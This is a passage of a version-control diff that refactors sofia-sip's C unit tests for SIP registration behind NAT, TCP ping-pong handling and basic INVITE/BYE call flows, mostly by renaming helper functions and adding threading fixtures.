   nh = nua_handle(nua, NULL, TAG_END());
 
-  nua_register(nh, NUTAG_PROXY(s2->tcp.contact->m_url), TAG_END());
+  nua_register(nh, NUTAG_PROXY(s2sip->tcp.contact->m_url), TAG_END());
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m); fail_if(!m->sip->sip_contact || m->sip->sip_contact->m_next);
   fail_if(!tport_is_tcp(m->tport));
   s2_save_register(m);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
 		SIPTAG_CONTACT(s2->registration->contact),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
   assert(s2->registration->contact != NULL);
-  s2_check_event(nua_r_register, 100);
+  fail_unless_event(nua_r_register, 100);
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m);
   fail_if(!m->sip->sip_contact || !m->sip->sip_contact->m_next);
   s2_save_register(m);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
 		SIPTAG_CONTACT(s2->registration->contact),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
   fail_unless(s2->registration->contact != NULL);
   fail_if(s2->registration->contact->m_next != NULL);
   fail_unless(
     url_has_param(s2->registration->contact->m_url, "transport=tcp"));
-  s2_check_event(nua_r_register, 200);
+  fail_unless_event(nua_r_register, 200);
 
   s2->registration->nh = nh;
 
@@ -540,12 +573,12 @@
 {
   nua_handle_t *nh = nua_handle(nua, NULL, TAG_END());
 
-  s2_case("1.3.2.1", "Register behind NAT",
+  S2_CASE("1.3.2.1", "Register behind NAT",
 	  "Authenticate, outbound activated");
 
   mark_point();
   s2->registration->nh = nh;
-  make_auth_natted_register(nh, NUTAG_PROXY(s2->tcp.contact->m_url), TAG_END());
+  make_auth_natted_register(nh, NUTAG_PROXY(s2sip->tcp.contact->m_url), TAG_END());
   fail_if(!tport_is_tcp(s2->registration->tport));
   s2_register_teardown();
 }
@@ -557,51 +590,51 @@
   nua_handle_t *nh = nua_handle(nua, NULL, TAG_END());
   struct message *m;
 
-  s2_case("1.3.2.2", "Register behind NAT with TCP",
+  S2_CASE("1.3.2.2", "Register behind NAT with TCP",
 	  "Detect NAT over TCP using rport. "
 	  "Authenticate, detect NAT, "
 	  "close TCP at server, wait for re-REGISTERs.");
 
   nua_set_params(nua, NTATAG_TCP_RPORT(1), TAG_END());
-  s2_check_event(nua_r_set_params, 200);
+  fail_unless_event(nua_r_set_params, 200);
 
   mark_point();
   s2->registration->nh = nh;
   make_auth_natted_register(
-    nh, NUTAG_PROXY(s2->tcp.contact->m_url),
+    nh, NUTAG_PROXY(s2sip->tcp.contact->m_url),
     NUTAG_OUTBOUND("no-options-keepalive, no-validate"),
     TAG_END());
   fail_if(!tport_is_tcp(s2->registration->tport));
   tport_shutdown(s2->registration->tport, 2);
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m); fail_if(!m->sip->sip_authorization);
   s2_save_register(m);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
 		SIPTAG_CONTACT(s2->registration->contact),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
   /* The "NAT binding" changed when new TCP connection is established */
   /* => NUA re-REGISTERs with newly detected contact */
-  s2_check_event(nua_r_register, 100);
+  fail_unless_event(nua_r_register, 100);
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m); fail_if(!m->sip->sip_authorization);
   fail_if(!m->sip->sip_contact || !m->sip->sip_contact->m_next);
   s2_save_register(m);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
 		SIPTAG_CONTACT(s2->registration->contact),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
-  s2_check_event(nua_r_register, 200);
+  fail_unless_event(nua_r_register, 200);
 
   fail_unless(s2->registration->contact != NULL);
   fail_if(s2->registration->contact->m_next != NULL);
@@ -610,17 +643,18 @@
 }
 END_TEST
 
+#if nomore
 START_TEST(register_1_3_3_1)
 {
   nua_handle_t *nh = nua_handle(nua, NULL, TAG_END());
   struct message *m;
   tport_t *tcp;
 
-  s2_case("1.3.3.1", "Register behind NAT with UDP and TCP",
+  S2_CASE("1.3.3.1", "Register behind NAT with UDP and TCP",
 	  "Register with UDP, UDP time-outing, then w/ TCP using rport. ");
 
   nua_set_params(nua, NTATAG_TCP_RPORT(1), TAG_END());
-  s2_check_event(nua_r_set_params, 200);
+  fail_unless_event(nua_r_set_params, 200);
 
   mark_point();
   s2->registration->nh = nh;
@@ -631,57 +665,57 @@
 
   /* NTA tries with UDP, we drop them */
   for (;;) {
-    m = s2_wait_for_request(SIP_METHOD_REGISTER); fail_if(!m);
+    m = s2_sip_wait_for_request(SIP_METHOD_REGISTER); fail_if(!m);
     if (!tport_is_udp(m->tport)) /* Drop UDP */
       break;
-    s2_free_message(m);
-    s2_fast_forward(4);
+    s2_sip_free_message(m);
+    s2_nua_fast_forward(4, s2base->root);
   }
 
   tcp = tport_ref(m->tport);
 
   /* Respond to request over TCP */
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_401_UNAUTHORIZED,
 		SIPTAG_WWW_AUTHENTICATE_STR(s2_auth_digest_str),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
-  s2_check_event(nua_r_register, 401);
+  s2_sip_free_message(m);
+  fail_unless_event(nua_r_register, 401);
   nua_authenticate(nh, NUTAG_AUTH(s2_auth_credentials), TAG_END());
 
   /* Turn off pong */
   tport_set_params(tcp, TPTAG_PONG2PING(0), TAG_END());
 
   /* Now request over UDP ... registering TCP contact! */
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m); fail_if(!m->sip->sip_authorization);
   s2_save_register(m);
   fail_unless(
     url_has_param(s2->registration->contact->m_url, "transport=tcp"));
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
 		SIPTAG_CONTACT(s2->registration->contact),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
   /* NUA detects oops... re-registers UDP */
-  s2_check_event(nua_r_register, 100);
+  fail_unless_event(nua_r_register, 100);
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m); fail_if(!m->sip->sip_authorization);
   fail_if(!m->sip->sip_contact || !m->sip->sip_contact->m_next);
   s2_save_register(m);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
 		SIPTAG_CONTACT(s2->registration->contact),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
-  s2_check_event(nua_r_register, 200);
+  fail_unless_event(nua_r_register, 200);
 
   fail_unless(s2->registration->contact != NULL);
   fail_if(s2->registration->contact->m_next != NULL);
@@ -690,24 +724,128 @@
   {
     int i;
     for (i = 0; i < 5; i++) {
-      su_root_step(s2->root, 5);
-      su_root_step(s2->root, 5);
-      su_root_step(s2->root, 5);
-      s2_fast_forward(5);
+      su_root_step(s2base->root, 5);
+      su_root_step(s2base->root, 5);
+      su_root_step(s2base->root, 5);
+      s2_nua_fast_forward(5, s2base->root);
     }
   }
 
   s2_register_teardown();
 }
 END_TEST
+#endif
 
+START_TEST(register_1_3_3_2)
+{
+  nua_handle_t *nh = nua_handle(nua, NULL, TAG_END());
+  struct message *m;
+  tport_t *tcp;
+  int i;
+
+  S2_CASE("1.3.3.2", "Register behind NAT with TCP",
+	  "Register w/ TCP using rport, pingpong. ");
+
+  nua_set_params(nua, NTATAG_TCP_RPORT(1), TAG_END());
+  fail_unless_event(nua_r_set_params, 200);
+
+  mark_point();
+  s2->registration->nh = nh;
+
+  nua_register(nh,
+	       NUTAG_PROXY(s2sip->tcp.contact->m_url),
+	       NUTAG_OUTBOUND("no-options-keepalive, no-validate"),
+	       TAG_END());
+
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER); fail_if(!m);
+
+  fail_unless(tport_is_tcp(m->tport));
+
+  tcp = tport_ref(m->tport);
+
+  /* Respond to request over TCP */
+  s2_sip_respond_to(m, NULL,
+		SIP_401_UNAUTHORIZED,
+		SIPTAG_WWW_AUTHENTICATE_STR(s2_auth_digest_str),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
+		TAG_END());
+  s2_sip_free_message(m);
+  fail_unless_event(nua_r_register, 401);
+  nua_authenticate(nh, NUTAG_AUTH(s2_auth_credentials), TAG_END());
+
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
+  fail_if(!m); fail_if(!m->sip->sip_authorization);
+  fail_if(!m->sip->sip_contact);
+  s2_save_register(m);
+
+  s2_sip_respond_to(m, NULL,
+		SIP_200_OK,
+		SIPTAG_CONTACT(s2->registration->contact),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
+		TAG_END());
+  s2_sip_free_message(m);
+
+  fail_unless_event(nua_r_register, 200);
+
+  fail_unless(s2->registration->contact != NULL);
+  fail_if(s2->registration->contact->m_next != NULL);
+
+  /* Turn off pong */
+  tport_set_params(tcp, TPTAG_PONG2PING(0), TAG_END());
+
+  /* Wait until ping-pong failure closes the TCP connection */
+  for (i = 0; i < 100; i++) {
+    s2_nua_fast_forward(5, s2base->root);
+    if (tport_is_closed(tcp))
+      break;
+  }
+
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
+  fail_unless(tport_is_tcp(m->tport));
+  fail_unless(tcp != m->tport);
+  fail_if(!m); fail_if(!m->sip->sip_authorization);
+  fail_if(!m->sip->sip_contact);
+  s2_save_register(m);
+
+  s2_sip_respond_to(m, NULL,
+		SIP_200_OK,
+		SIPTAG_CONTACT(s2->registration->contact),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
+		TAG_END());
+  s2_sip_free_message(m);
+
+  tport_unref(tcp);
+
+  /* Contact changed */
+  fail_unless_event(nua_r_register, 100);
+
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
+  fail_if(!m); fail_if(!m->sip->sip_authorization);
+  fail_if(!m->sip->sip_contact);
+  fail_if(!m->sip->sip_contact->m_next);
+  s2_save_register(m);
+
+  s2_sip_respond_to(m, NULL,
+		SIP_200_OK,
+		SIPTAG_CONTACT(s2->registration->contact),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
+		TAG_END());
+  s2_sip_free_message(m);
+
+  fail_unless_event(nua_r_register, 200);
+
+  s2_register_teardown();
+}
+END_TEST
+
 /* ---------------------------------------------------------------------- */
 
-TCase *register_tcase(void)
+TCase *register_tcase(int threading)
 {
   TCase *tc = tcase_create("1 - REGISTER");
-  /* Each testcase is run in different process */
-  tcase_add_checked_fixture(tc, register_setup, register_teardown);
+
+  add_register_fixtures(tc, threading, 0);
+
   {
     tcase_add_test(tc, register_1_0_1);
     tcase_add_test(tc, register_1_1_1);
@@ -725,21 +863,23 @@
   return tc;
 }
 
-TCase *pingpong_tcase(void)
+TCase *pingpong_tcase(int threading)
 {
-  TCase *tc = tcase_create("1 - REGISTER with PingPong");
-  /* Each testcase is run in different process */
-  tcase_add_checked_fixture(tc, register_pingpong_setup, register_teardown);
+  TCase *tc = tcase_create("1 - REGISTER (with PingPong)");
+
+  add_register_fixtures(tc, threading, 1);
+
   {
-    tcase_add_test(tc, register_1_3_3_1);
+    tcase_add_test(tc, register_1_3_3_2);
   }
+
   tcase_set_timeout(tc, 10);
   return tc;
 }
 
-void check_register_cases(Suite *suite)
+void check_register_cases(Suite *suite, int threading)
 {
-  suite_add_tcase(suite, register_tcase());
-  suite_add_tcase(suite, pingpong_tcase());
+  suite_add_tcase(suite, register_tcase(threading));
+  suite_add_tcase(suite, pingpong_tcase(threading));
 }
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_session.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_session.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_session.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -33,14 +33,15 @@
 
 #include "config.h"
 
+#undef NDEBUG
+
 #include "check_nua.h"
 
-#include "test_s2.h"
-
 #include <sofia-sip/sip_status.h>
 #include <sofia-sip/sip_header.h>
 #include <sofia-sip/soa.h>
 #include <sofia-sip/su_tagarg.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/su_tag_io.h>
 
 #include <stdlib.h>
@@ -48,10 +49,11 @@
 #include <assert.h>
 
 /* define XXX as 1 in order to see all failing test cases */
+#ifndef XXX
 #define XXX (0)
+#endif
 
 /* ====================================================================== */
-/* Call cases */
 
 static nua_t *nua;
 static soa_session_t *soa = NULL;
@@ -61,13 +63,12 @@
 
 static void call_setup(void)
 {
-  s2_case("0.1.1", "Setup for Call Tests", "");
-
-  nua = s2_nua_setup(SIPTAG_ORGANIZATION_STR("Pussy Galore's Flying Circus"),
+  nua = s2_nua_setup("call",
+		     SIPTAG_ORGANIZATION_STR("Pussy Galore's Flying Circus"),
                      NUTAG_OUTBOUND("no-options-keepalive, no-validate"),
 		     TAG_END());
 
-  soa = soa_create(NULL, s2->root, NULL);
+  soa = soa_create(NULL, s2base->root, NULL);
 
   fail_if(!soa);
 
@@ -81,20 +82,40 @@
   s2_register_setup();
 }
 
+static void call_thread_setup(void)
+{
+  s2_nua_thread = 1;
+  call_setup();
+}
+
 static void call_teardown(void)
 {
-  s2_case("0.1.2", "Teardown Call Test Setup", "");
+  s2_teardown_started("call");
 
   mark_point();
 
   s2_register_teardown();
 
-  nua_shutdown(nua);
-  fail_unless(s2_check_event(nua_r_shutdown, 200));
+  if (s2->shutdown == 0) {
+    mark_point();
+    nua_shutdown(nua);
+    fail_unless_event(nua_r_shutdown, 200);
+  }
 
+  mark_point();
+
   s2_nua_teardown();
 }
 
+static void
+add_call_fixtures(TCase *tc, int threading)
+{
+  if (threading)
+    tcase_add_checked_fixture(tc, call_thread_setup, call_teardown);
+  else
+    tcase_add_checked_fixture(tc, call_setup, call_teardown);
+}
+
 static void save_sdp_to_soa(struct message *message)
 {
   sip_payload_t *pl;
@@ -141,7 +162,7 @@
   fail_if(soa_get_local_sdp(soa, NULL, &body, &bodylen) != 1);
 
   ta_start(ta, tag, value);
-  s2_respond_to(request, dialog, status, phrase,
+  s2_sip_respond_to(request, dialog, status, phrase,
 		SIPTAG_CONTENT_TYPE_STR("application/sdp"),
 		SIPTAG_PAYLOAD_STR(body),
 		SIPTAG_CONTENT_DISPOSITION_STR("session"),
@@ -164,7 +185,7 @@
 
   ta_start(ta, tag, value);
   fail_if(
-    s2_request_to(dialog, method, name, tport,
+    s2_sip_request_to(dialog, method, name, tport,
 		  SIPTAG_CONTENT_TYPE_STR("application/sdp"),
 		  SIPTAG_PAYLOAD_STR(body),
 		  ta_tags(ta)));
@@ -183,7 +204,7 @@
 
   fail_unless(s2_check_callstate(nua_callstate_calling));
 
-  return s2_wait_for_request(SIP_METHOD_INVITE);
+  return s2_sip_wait_for_request(SIP_METHOD_INVITE);
 }
 
 static uint32_t s2_rseq;
@@ -213,7 +234,7 @@
       ta_tags(ta));
   }
   else {
-    s2_respond_to(
+    s2_sip_respond_to(
       invite, dialog, status, phrase,
       SIPTAG_REQUIRE_STR("100rel"),
       SIPTAG_RSEQ(rs),
@@ -221,9 +242,9 @@
   }
   ta_end(ta);
 
-  fail_unless(s2_check_event(nua_r_invite, status));
+  fail_unless_event(nua_r_invite, status);
 
-  return s2_wait_for_request(SIP_METHOD_PRACK);
+  return s2_sip_wait_for_request(SIP_METHOD_PRACK);
 }
 
 static void
@@ -243,14 +264,14 @@
     SIPTAG_CONTENT_DISPOSITION_STR("session;handling=optional"),
     TAG_END());
 
-  fail_unless(s2_check_event(nua_r_invite, 180));
+  fail_unless_event(nua_r_invite, 180);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(invite);
-  fail_unless(s2_check_event(nua_r_invite, 200));
+  s2_sip_free_message(invite);
+  fail_unless_event(nua_r_invite, 200);
   fail_unless(s2_check_callstate(nua_callstate_ready));
-  fail_unless(s2_check_request(SIP_METHOD_ACK));
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
 }
 
 static nua_handle_t *
@@ -275,7 +296,7 @@
 
   s2_free_event(invite);
 
-  response = s2_wait_for_response(100, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(100, SIP_METHOD_INVITE);
   fail_if(!response);
 
   nua_respond(nh, SIP_180_RINGING,
@@ -283,25 +304,25 @@
 	      TAG_END());
   fail_unless(s2_check_callstate(nua_callstate_early));
 
-  response = s2_wait_for_response(180, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(180, SIP_METHOD_INVITE);
   fail_if(!response);
-  s2_update_dialog(dialog, response);
+  s2_sip_update_dialog(dialog, response);
   process_answer(response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
   nua_respond(nh, SIP_200_OK, TAG_END());
 
   fail_unless(s2_check_callstate(nua_callstate_completed));
 
-  response = s2_wait_for_response(200, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(200, SIP_METHOD_INVITE);
 
   fail_if(!response);
-  s2_update_dialog(dialog, response);
-  s2_free_message(response);
+  s2_sip_update_dialog(dialog, response);
+  s2_sip_free_message(response);
 
-  fail_if(s2_request_to(dialog, SIP_METHOD_ACK, NULL, TAG_END()));
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_ACK, NULL, TAG_END()));
 
-  fail_unless(s2_check_event(nua_i_ack, 200));
+  fail_unless_event(nua_i_ack, 200);
   fail_unless(s2_check_callstate(nua_callstate_ready));
 
   return nh;
@@ -318,11 +339,11 @@
   nua_bye(nh, ta_tags(ta));
   ta_end(ta);
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
-  fail_unless(s2_check_event(nua_r_bye, 200));
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
+  fail_unless_event(nua_r_bye, 200);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
 }
 
@@ -339,20 +360,20 @@
   nua_bye(nh, ta_tags(ta));
   ta_end(ta);
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_407_PROXY_AUTH_REQUIRED,
+  s2_sip_respond_to(bye, dialog, SIP_407_PROXY_AUTH_REQUIRED,
 		SIPTAG_PROXY_AUTHENTICATE_STR(s2_auth_digest_str),
 		TAG_END());
-  s2_free_message(bye);
-  fail_unless(s2_check_event(nua_r_bye, 407));
+  s2_sip_free_message(bye);
+  fail_unless_event(nua_r_bye, 407);
 
   nua_authenticate(nh, NUTAG_AUTH("Digest:\"s2test\":abc:abc"), TAG_END());
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
-  fail_unless(s2_check_event(nua_r_bye, 200));
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
+  fail_unless_event(nua_r_bye, 200);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
   fail_if(s2->events);
 }
@@ -371,16 +392,16 @@
   nua_cancel(nh, ta_tags(ta));
   ta_end(ta);
 
-  cancel = s2_wait_for_request(SIP_METHOD_CANCEL);
+  cancel = s2_sip_wait_for_request(SIP_METHOD_CANCEL);
   fail_if(!cancel);
-  s2_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(cancel);
-  fail_unless(s2_check_event(nua_r_cancel, 200));
+  s2_sip_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(cancel);
+  fail_unless_event(nua_r_cancel, 200);
 
-  s2_respond_to(invite, dialog, SIP_487_REQUEST_CANCELLED, TAG_END());
-  fail_unless(s2_check_request(SIP_METHOD_ACK));
+  s2_sip_respond_to(invite, dialog, SIP_487_REQUEST_CANCELLED, TAG_END());
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
 
-  fail_unless(s2_check_event(nua_r_invite, 487));
+  fail_unless_event(nua_r_invite, 487);
 }
 
 static void
@@ -390,12 +411,12 @@
   ta_list ta;
 
   ta_start(ta, tag, value);
-  fail_if(s2_request_to(dialog, SIP_METHOD_BYE, NULL, ta_tags(ta)));
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_BYE, NULL, ta_tags(ta)));
   ta_end(ta);
 
-  fail_unless(s2_check_event(nua_i_bye, 200));
+  fail_unless_event(nua_i_bye, 200);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
-  fail_unless(s2_check_response(200, SIP_METHOD_BYE));
+  fail_unless(s2_sip_check_response(200, SIP_METHOD_BYE));
 }
 
 /* ====================================================================== */
@@ -407,10 +428,10 @@
 {
   nua_handle_t *nh;
 
-  s2_case("2.1.1", "Basic call",
+  S2_CASE("2.1.1", "Basic call",
 	  "NUA sends INVITE, NUA sends BYE");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite_by_nua(nh, TAG_END());
 
@@ -425,10 +446,10 @@
 {
   nua_handle_t *nh;
 
-  s2_case("2.1.2.1", "Basic call",
+  S2_CASE("2.1.2.1", "Basic call",
 	  "NUA sends INVITE, NUA receives BYE");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite_by_nua(nh, TAG_END());
 
@@ -442,14 +463,14 @@
 {
   nua_handle_t *nh;
 
-  s2_case("2.1.2.2", "Basic call over TCP",
+  S2_CASE("2.1.2.2", "Basic call over TCP",
 	  "NUA sends INVITE, NUA receives BYE");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local),
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor),
 		  TAG_END());
 
   invite_by_nua(nh,
-		NUTAG_PROXY(s2->tcp.contact->m_url),
+		NUTAG_PROXY(s2sip->tcp.contact->m_url),
 		TAG_END());
 
   bye_to_nua(nh, TAG_END());
@@ -463,7 +484,7 @@
 {
   nua_handle_t *nh;
 
-  s2_case("2.1.3.1", "Incoming call",
+  S2_CASE("2.1.3.1", "Incoming call",
 	  "NUA receives INVITE and BYE");
 
   nh = invite_to_nua(TAG_END());
@@ -479,10 +500,10 @@
 {
   nua_handle_t *nh;
 
-  s2_case("2.1.3.2", "Incoming call over TCP",
+  S2_CASE("2.1.3.2", "Incoming call over TCP",
 	  "NUA receives INVITE and BYE");
 
-  dialog->tport = s2->tcp.tport;
+  dialog->tport = s2sip->tcp.tport;
 
   nh = invite_to_nua(TAG_END());
 
@@ -497,7 +518,7 @@
 {
   nua_handle_t *nh;
 
-  s2_case("2.1.4", "Incoming call",
+  S2_CASE("2.1.4", "Incoming call",
 	  "NUA receives INVITE and sends BYE");
 
   nh = invite_to_nua(TAG_END());
@@ -513,7 +534,7 @@
 {
   nua_handle_t *nh;
 
-  s2_case("2.1.5", "Incoming call",
+  S2_CASE("2.1.5", "Incoming call",
 	  "NUA receives INVITE and sends BYE, BYE is challenged");
 
   nh = invite_to_nua(TAG_END());
@@ -532,7 +553,7 @@
   struct event *invite;
   struct message *response;
 
-  s2_case("2.1.6", "Basic call",
+  S2_CASE("2.1.6", "Basic call",
 	  "NUA received INVITE, "
 	  "NUA responds (and saves proxy for dialog), "
 	  "NUA sends BYE");
@@ -549,45 +570,45 @@
 
   s2_free_event(invite);
 
-  response = s2_wait_for_response(100, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(100, SIP_METHOD_INVITE);
   fail_if(!response);
 
   nua_respond(nh, SIP_180_RINGING,
 	      /* Dialog-specific proxy is saved */
-	      NUTAG_PROXY(s2->tcp.contact->m_url),
+	      NUTAG_PROXY(s2sip->tcp.contact->m_url),
 	      SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
 	      TAG_END());
   fail_unless(s2_check_callstate(nua_callstate_early));
 
-  response = s2_wait_for_response(180, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(180, SIP_METHOD_INVITE);
   fail_if(!response);
-  s2_update_dialog(dialog, response);
+  s2_sip_update_dialog(dialog, response);
   process_answer(response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
   nua_respond(nh, SIP_200_OK, TAG_END());
 
   fail_unless(s2_check_callstate(nua_callstate_completed));
 
-  response = s2_wait_for_response(200, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(200, SIP_METHOD_INVITE);
 
   fail_if(!response);
-  s2_update_dialog(dialog, response);
-  s2_free_message(response);
+  s2_sip_update_dialog(dialog, response);
+  s2_sip_free_message(response);
 
-  fail_if(s2_request_to(dialog, SIP_METHOD_ACK, NULL, TAG_END()));
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_ACK, NULL, TAG_END()));
 
-  fail_unless(s2_check_event(nua_i_ack, 200));
+  fail_unless_event(nua_i_ack, 200);
   fail_unless(s2_check_callstate(nua_callstate_ready));
 
   nua_bye(nh, TAG_END());
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
   /* Check that NUA used dialog-specific proxy with BYE */
   fail_unless(tport_is_tcp(bye->tport));
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
-  fail_unless(s2_check_event(nua_r_bye, 200));
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
+  fail_unless_event(nua_r_bye, 200);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
 
   nua_handle_destroy(nh);
@@ -600,10 +621,10 @@
   nua_handle_t *nh, *nh2;
   sip_replaces_t *replaces;
 
-  s2_case("2.1.7", "Call lookup",
+  S2_CASE("2.1.7", "Call lookup",
 	  "Test dialog and call-id lookup");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite_by_nua(nh, TAG_END());
 
@@ -633,14 +654,14 @@
   nua_handle_t *nh;
   struct message *invite, *ack;
 
-  s2_case("2.1.8", "Call using NUTAG_PROXY()",
+  S2_CASE("2.1.8", "Call using NUTAG_PROXY()",
 	  "Test handle-specific NUTAG_PROXY().");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite = invite_sent_by_nua(
     nh, SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
-    NUTAG_PROXY(s2->tcp.contact->m_url), TAG_END());
+    NUTAG_PROXY(s2sip->tcp.contact->m_url), TAG_END());
 
   process_offer(invite);
   respond_with_sdp(
@@ -648,14 +669,14 @@
     SIPTAG_CONTENT_DISPOSITION_STR("session;handling=optional"),
     TAG_END());
 
-  fail_unless(s2_check_event(nua_r_invite, 180));
+  fail_unless_event(nua_r_invite, 180);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(invite);
-  fail_unless(s2_check_event(nua_r_invite, 200));
+  s2_sip_free_message(invite);
+  fail_unless_event(nua_r_invite, 200);
   fail_unless(s2_check_callstate(nua_callstate_ready));
-  ack = s2_wait_for_request(SIP_METHOD_ACK);
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
   fail_unless(ack && tport_is_tcp(ack->tport));
 
   bye_by_nua(nh, TAG_END());
@@ -665,10 +686,10 @@
 END_TEST
 
 
-TCase *invite_tcase(void)
+TCase *invite_tcase(int threading)
 {
   TCase *tc = tcase_create("2.1 - Basic INVITE");
-  tcase_add_checked_fixture(tc, call_setup, call_teardown);
+  add_call_fixtures(tc, threading);
   {
     tcase_add_test(tc, call_2_1_1);
     tcase_add_test(tc, call_2_1_2_1);
